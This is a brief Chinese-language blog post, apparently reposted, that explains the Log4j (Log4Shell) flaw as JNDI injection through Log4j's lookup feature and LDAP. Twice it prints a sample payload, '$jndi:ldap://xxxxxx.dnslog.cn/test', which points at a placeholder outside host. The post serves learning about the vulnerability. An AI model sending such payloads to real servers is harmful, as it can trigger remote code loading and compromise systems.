log4j漏洞学习

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j漏洞学习相关的知识,希望对你有一定的参考价值。

log4j漏洞产生的主要原因是因为JNDI注入

1.什么是JNDI

JNDI可以理解为JDBC的一个替代升级产品。
通常我们可以采用JDBC连接数据库,需要配置数据库端口,数据库地址等信息。
但当某个企业不想再用mysql数据,而是想用oracle数据时,JDBC需要修改大量的代码,并且还有其他一系列的问题会出现,相当棘手。


这时候出现了JNDI(Java Naming and Directory Interface),JNDI可以实现只需要一个数据源名字则可连接到对应的数据库,配置简单。

注入流程分析

$jndi:ldap://xxxxxx.dnslog.cn/test
其中ldap也可以替换成rmi,jdbc(但是为什么我们一定要用ldap呢?请继续往下看。)

如果JDNI基于LDAP服务,找不到对应的资源,则会去指定的地址请求,如果是命名应用,则会将文件下载到本地,并执行static代码块

log4j+JNDI配合

lookup方法官网解释:
https://logging.apache.org/log4j/2.x/manual/lookups.html


为了方便用户调用,log4j为了方便从不同的渠道获取数据(例如日期里、docker、java中获取),提供了一个lookups方法,就会尝试对立面的内容进行解析并执行

所以当用户构造好payload,再配合jndi和ldap就可以复现log4j的高危漏洞

$jndi:ldap://xxxxxx.dnslog.cn/test

以上是关于log4j漏洞学习的主要内容,如果未能解决你的问题,请参考以下文章

log4j漏洞分析及总结

WEB安全Apache Log4j 漏洞利用分析

Log4j 漏洞引发全球修补漏洞行动;KeePassX 停止开发;.NET 6 网络改进 | 开源日报

Log4j2-rce-学习

Log4j2-rce-学习

Log4j2-rce-学习